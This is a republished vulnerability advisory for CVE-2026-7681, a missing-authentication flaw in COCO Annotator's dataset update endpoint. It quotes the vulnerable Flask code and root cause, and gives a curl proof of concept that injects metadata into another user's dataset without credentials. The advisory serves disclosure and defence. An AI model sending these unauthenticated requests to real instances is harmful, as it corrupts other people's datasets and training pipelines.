4 minutes
CVE-2026-7681: COCO Annotator — Unauthenticated Dataset Modification via Missing Authentication
⚠ Replicated advisory. This post reproduces an advisory originally researched and published under the Thoropass Vulnerability Research Program. It is republished here for reference. The original disclosure followed coordinated vulnerability disclosure and the rules of the CVE Program.
🔗 Original advisory: https://github.com/heylaika/vuln-research-program/tree/main/2026/CVE-2026-7681%20-%20COCO%20Annotator%20-%20Unauthenticated%20Dataset%20Modification%20via%20Missing%20Authentication
📋 CVE record: CVE-2026-7681
Advisory Information
| Researcher | Natan Morette on behalf of Thoropass |
| Product | COCO Annotator - Open-source, web-based image annotation platform used to build datasets for computer vision and machine learning workflows, supporting the COCO dataset format. |
| Affected Version | v0.11.1 and all prior versions |
| Endpoint | backend/webserver/api/datasets.py — DatasetId resource, POST method |
| Vulnerability Type | CWE-306: Missing Authentication for Critical Function |
| CVE ID | CVE-2026-7681 |
Vulnerability Summary
A missing authentication vulnerability exists in the COCO Annotator dataset management API. The POST /api/dataset/<id> endpoint, which updates a dataset’s categories and default annotation metadata, is missing the @login_required decorator. This allows any unauthenticated, anonymous attacker to modify any dataset in the system with a single HTTP request — no credentials, no session cookie, and no token required.
The DELETE method on the same route is correctly protected with @login_required, making this an oversight where only the POST method was left unprotected.
Technical Analysis
Vulnerable Code
File: backend/webserver/api/datasets.py, lines 234–287
@api.route('/<int:dataset_id>')
class DatasetId(Resource):
@login_required # ← DELETE is protected
def delete(self, dataset_id):
""" Deletes dataset by ID (only owners)"""
...
@api.expect(update_dataset) # ← POST is NOT protected
def post(self, dataset_id): # ← NO @login_required!
""" Updates dataset by ID """
dataset = current_user.datasets.filter(id=dataset_id, deleted=False).first()
...
dataset.update(
categories=dataset.categories,
default_annotation_metadata=dataset.default_annotation_metadata
)
return {"success": True}
Root Cause
The POST method on the DatasetId resource (line 252) is missing the @login_required decorator. When an unauthenticated request reaches this endpoint, Flask-Login falls back to the AnonymousUser class, which grants unrestricted access to all datasets and returns True for all permission checks:
File: backend/webserver/authentication.py
class AnonymousUser(AnonymousUserMixin):
@property
def datasets(self):
return DatasetModel.objects # ← returns ALL datasets
def can_edit(self, model):
return True # ← always True
This means that when an unauthenticated request hits POST /api/dataset/<id>, current_user resolves to AnonymousUser, whose .datasets returns all datasets in the database — so .filter(id=dataset_id) matches any dataset regardless of ownership, and the update succeeds.
Proof of Concept
Step 1 — Login as the dataset owner and check current metadata
curl -s -X POST http://TARGET:5001/api/user/login -H "Content-Type: application/json" -d '{"username":"victim","password":"password"}' -c cookies.txt
curl -s http://TARGET:5001/api/dataset/ -b cookies.txt | python3 -c "import sys,json; [print(json.dumps(ds,indent=2)) for ds in json.load(sys.stdin) if ds['id']==3]"
{
"id": 3,
"name": "my-dataset",
"owner": "victim",
"default_annotation_metadata": {}
}
Step 2 — Modify the dataset WITHOUT any authentication
No cookies, no token, no session — completely unauthenticated:
curl -s -X POST http://TARGET:5001/api/dataset/3 -H "Content-Type: application/json" -d '{"default_annotation_metadata":{"hacked_by":"unauthenticated_attacker","compromised":true}}'
{"success": true}
Step 3 — Verify the dataset was tampered with
curl -s http://TARGET:5001/api/dataset/ -b cookies.txt | python3 -c "import sys,json; [print(json.dumps(ds,indent=2)) for ds in json.load(sys.stdin) if ds['id']==3]"
{
"id": 3,
"name": "my-dataset",
"owner": "victim",
"default_annotation_metadata": {
"hacked_by": "unauthenticated_attacker",
"compromised": true
}
}
The metadata was injected by an unauthenticated request into a dataset owned by another user.
Impact
- Unauthenticated data modification — any anonymous attacker on the network can modify the categories and default annotation metadata of ANY dataset in the system, without any credentials
- Annotation metadata injection — the
default_annotation_metadatafield is propagated to all annotations in the dataset viaAnnotationModel.objects(...).update(**update)(line 279), meaning injected metadata contaminates the entire annotation pipeline - Data integrity corruption — in production ML/CV workflows, corrupted annotation metadata can silently degrade model training quality, with downstream effects that may go undetected for extended periods
- No privilege required — this is a fully unauthenticated attack (PR:N). No account registration, no session, no cookies, no tokens — a single HTTP POST is sufficient
- Trivial exploitation — the attack consists of a single HTTP request, making it scriptable and automatable against any exposed COCO Annotator instance
References
- CWE-306: Missing Authentication for Critical Function
- OWASP API5:2023 — Broken Function Level Authorization
- OWASP Testing Guide: Testing for Broken Access Control (WSTG-ATHZ)
⚠️ Disclaimer
The vulnerability was identified through authorized security testing. The proof of concept is provided to help defenders validate their exposure and verify remediation.
Thoropass follows coordinated vulnerability disclosure (CVD) principles. Vulnerabilities are reported privately to maintainers, reasonable time is provided for remediation, and public advisories are released after coordination or fix availability.
About Thoropass
Thoropass delivers enterprise-grade audits with AI-native speed and precision. Designed from day one to integrate auditors, automation, and infosec workflows in a single, closed-loop system, no add-ons, no handoffs.
Our experienced penetration testing team proactively discovers vulnerabilities in web applications, APIs, and infrastructure — helping organizations secure their systems before attackers find weaknesses.